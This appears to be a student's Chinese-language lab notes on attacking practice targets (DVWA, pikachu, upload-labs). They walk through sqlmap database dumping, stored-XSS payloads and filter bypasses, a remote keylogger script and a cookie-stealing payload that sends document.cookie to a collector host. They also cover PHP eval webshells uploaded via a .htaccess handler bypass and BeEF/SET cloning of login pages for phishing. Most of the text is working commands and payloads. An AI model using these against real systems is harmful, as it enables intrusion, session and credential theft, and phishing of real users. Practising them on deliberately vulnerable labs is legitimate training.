一、使用Sqlmap工具完成对DVWA数据库的注入过程,要求按照库、表、列、内容的顺序进行注入
1.1Sqlmap 是一款强大的自动化 SQL 注入工具,由 Python 编写。它可以检测并利用 SQL 注入漏洞,以获取数据库的相关信息,如数据库名、表名、列名以及表中的具体数据等。
1.2检测DVWA是否存在注入点
Python sqlmap.py -u"http://159.75.158.180:8081/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch --cookie "PHPSESSID=8222icegal21cv6jsj2o81lgv2; security=low"
1.3查询数据库信息
Python sqlmap.py -u"http://159.75.158.180:8081/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch --cookie "PHPSESSID=8222icegal21cv6jsj2o81lgv2; security=low" –dbs
1.4通过数据库查询数据表信息(指定查下DVWA 数据库下面的表)
Python sqlmap.py -u "http://159.75.158.180:8081/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch --cookie "PHPSESSID=8222icegal21cv6jsj2o81lgv2; security=low" -D dvwa –tables
1.5通过数据表查询字段信息
Python sqlmap.py -u "http://159.75.158.180:8081/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch --cookie "PHPSESSID=8222icegal21cv6jsj2o81lgv2; security=low" -D dvwa -T users --columns
1.6通过字段枚举字段内容
Python sqlmap.py -u "http://159.75.158.180:8081/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch --cookie "PHPSESSID=8222icegal21cv6jsj2o81lgv2; security=low" -D dvwa -T users -C"user,password" –dump
-C后跟着用逗号分割的列名,将会在所有数据库表中搜索指定的列名。
-T后跟着用逗号分割的表名,将会在所有数据库中搜索指定的表名
-D后跟着用逗号分割的库名,将会在所有数据库中搜索指定的库名。
二、XSS
2.1完成DVWA靶场存储型XSS的漏洞练习
XSS的原理是恶意攻击者往 Web 页面里插入恶意可执行网页脚本代码,当用户浏览该页之时,嵌入其中 Web 里面的脚本代码会被执行。
2.2 XSS攻击类型
根据XSS脚本注入方式的不同,我们可以将XSS攻击简单的分类为反射型XSS、存储型XSS、DOM-based 型。
反射型 XSS:也叫非持久型 XSS。攻击者构造包含恶意脚本的 URL,诱使用户点击。当用户访问该 URL 时,服务器接收并处理请求,将恶意脚本作为响应的一部分返回给浏览器,浏览器执行这些脚本,从而导致攻击发生。例如,一个搜索页面的 URL 是 https://example.com/search?q=keyword,攻击者可以构造 https://example.com/search?q=<script>alert('XSS');</script>,如果服务器没有对 q 参数进行正确的过滤,用户点击这个链接后,浏览器就会弹出警告框。
存储型 XSS:又称持久型 XSS。攻击者将恶意脚本提交到服务器端(如留言板、评论区等),这些脚本被存储在服务器的数据库中。当其他用户访问包含该恶意脚本的页面时,浏览器会从服务器获取并执行这些脚本。比如,在一个论坛中,攻击者在发表评论时插入恶意脚本 <script>document.cookie='hacked=true';</script>,其他用户浏览该评论时,脚本就会执行,可能窃取用户的 cookie 信息。
DOM 型 XSS:基于文档对象模型(DOM)的 XSS 攻击。攻击者通过修改页面的 DOM 结构,利用 JavaScript 对 DOM 的操作来注入恶意脚本。这种攻击不依赖于服务器端对数据的处理,而是通过修改客户端页面的 DOM 来实现。例如,页面中有一个 <div id="target"></div>,攻击者可以通过构造特殊的 URL,使得 JavaScript 代码 document.getElementById('target').innerHTML = '<script>alert("XSS");</script>'; 被执行,从而弹出警告框。
2.3存储型 XSS 试验,DVWA靶场
2.31LOW (将安全等级调为LOW低等级)
Name栏位:输入1 ,Message: <img src=## οnerrοr=alert(document.cookie)>
输入完成后双击Sign Guestbook会弹出COOKIE
2.32MEDIUM (将安全等级调为MEDIUM等级)
代码分析:Name框,发现此处是将<script> 替换成空,大小写或者复写就可以绕过。
<sCript>alert(1)</scRipt>
<sc<script>ript>alert(document.cookie)</script>
2.33HIGH (将安全等级调为HIGH等级)
代码分析:NAME框:原代码使用 preg_replace 尝试移除 <script> 标签,这种做法有一定局限性。攻击者可以通过变形 <script> 标签(例如使用 Unicode 编码、大小写混合等方式)绕过此过滤。而且,仅移除 <script> 标签无法阻止其他类型的 XSS 攻击,像 <img> 标签的 onerror 事件、<a> 标签的 href 属性包含 javascript: 协议等。
<img src=## οnerrοr=alert(document.cookie)>
2.34鼠标选中form表单后右键选择检查,直接修改前端代码的 maxlength ,之后就可以正常输入了,我这里修改为 1000
三、使用pikachu平台练习XSS键盘记录、
3.1搭建两个靶场,DVWA为被攻击方,PIKACHU,攻击者,两个靶场都在云服务器上
谷歌浏览器登录DVWA, Firefox浏览器登录PIKACHU。如果Payload上传成功敲击键盘后 pikachuXSS后台没有键盘记录,两个靶场相互调换浏览器。
3.2 修改rk.js脚本的地址如下,就是云服务器的地址
3.3把pload上传到XSS(Stored)<script src="http://159.75.158.180:8000/pkxss/rkeypress/rk.js"></script>
3.4打开DVWA再打开XSS(Stored)此时只要在如下画红框空白处敲击键盘,在pikachu后台就可能获取键盘记录如下图
3.4前台XSS盲打攻击获取cookie,利用cookie实现登录 XSS盗取cookie payload
// 使用 document.write 向页面中写入一个 img 标签, src访问 cookie.php 并提供 cookie 参数
为 document.cookie
<script>document.write('<img src="http://127.0.0.1/pkxss/xcookie/cookie.php?
cookie='+document.cookie+'"/>')</script>
通过DVWA XSS(Stored)上传PAYLOAD
3.5 登录Pikachu xss后台就可以查到获取COOKIES的值
四、文件上传
4.1客户端绕过练习
4.2JS 绕过
靶场搭建 docker pull cuer/upload-labs
docker pull cuer/upload-labs 启动upload-labs 容器
Upload-labs(Pass-01)源码分析,如允许.jpg|.png|.gif图片上传
浏览器直接禁用JS,先按F12,然后按F1,找到禁用JS
上传info.php
4.3 后缀后绕过
使用一句木马<?php eval(@$_GET['a']);?>把get.php改成get.JPG 上传抓包
复制图片链接再打开网页访问
4.4修过前端代码
五、服务端黑名单绕过:给出.htaccess文件绕过的具体步骤
5.1htaccess文件
htaccess文件可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能
5.2htaccess文件上传
如果黑名单过滤了所有的能执行的后缀名,如果允许上传.htaccess。在htaccess文件中写入
5.3 创建一个php脚本文件,代码如下,命名为magedu.php
<?php @eval($_POST["magedu"]);?>
把 magedu.php
重命名为 magedu.jpg
,这样做是为了绕过前端黑名单的扩展名检查。
5.4创建.htaccess文件,代码如下
<FilesMatch "magedu.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
5.5用蚁剑连接 http://159.75.158.180:8081/upload/magedu.jpg
如下显示连接成功,用.htaccess文件成功绕过
六.使用beef制作钓鱼页面,克隆任意站点的登录页面并获取用户登录的账号密码
使用ubuntu-24.04.2-desktop-amd64 安装beef 制作钓鱼页面,克隆任意站点为例
6.1.安装 VMware Tools:(宿主机和虚拟机之间可以复制粘贴文件)
sudo apt install -y open-vm-tools open-vm-tools-desktop
6.2.更新系统
确保系统软件包为最新状态:
bash
sudo apt update && sudo apt upgrade -y
6.3.安装依赖项
安装必要的开发工具和库:
bash
sudo apt install -y git ruby ruby-dev bundler build-essential \
libsqlite3-dev libssl-dev zlib1g-dev libxml2-dev libxslt1-dev \
libcurl4-openssl-dev
6.4.克隆BeEF仓库
从GitHub克隆BeEF的源代码:
bash
git clone https://github.com/beefproject/beef.git
cd beef
6.5.安装Ruby依赖
使用Bundler安装所需的Gem包:
bash
bundle install
6.6.配置BeEF与克隆工具集成
使用Social Engineering Toolkit (SET):
SET内置网站克隆功能,可生成钓鱼页面。安装SET:
bash
git clone https://github.com/trustedsec/social-engineer-toolkit.git
cd social-engineer-toolkit
pip3 install -r requirements.txt
6.7.修改beef启动配置文件进入到beef文件夹
root@dragon-VMware-Virtual-Platform:/home/dragon/桌面/beef#
Nano config.yaml
6.8.启动beef有如下报错
[ 9:53:07][!] [AdminUI] Error: Could not minify 'BeEF::Extension::AdminUI::API::Handler' JavaScript file: Could not find a JavaScript runtime. See https://github.com/rails/execjs for a list of available runtimes.
[ 9:53:07] |_ [AdminUI] Ensure nodejs is installed and `node' is in `$PATH` !
需要安装sudo apt install nodejs npm
使用beef克隆其他网站
curl-H"Content-Type:application/json;charset=UTF-8"-d '{"url":"https://www.baidu.com","mount":"/magedu"}'-XPOST http://192.168.0.144:3000/api/seng/clone_page?token=d1a369951f01478afbbcd2dc9c610bfa010b7639
// <URL of site to clone> 需要克隆的网址
// <where to mount> 克隆的页面在服务器的哪个路径访问
// <token> 服务启动时的 beef API key
6.9.网页克隆成功后会返回Sccess如下图为克隆地址
6.10 http://159.75.158.180:8000/vul/csrf/csrfpost/csrf_post_login.php 克隆CSRF POST登录页面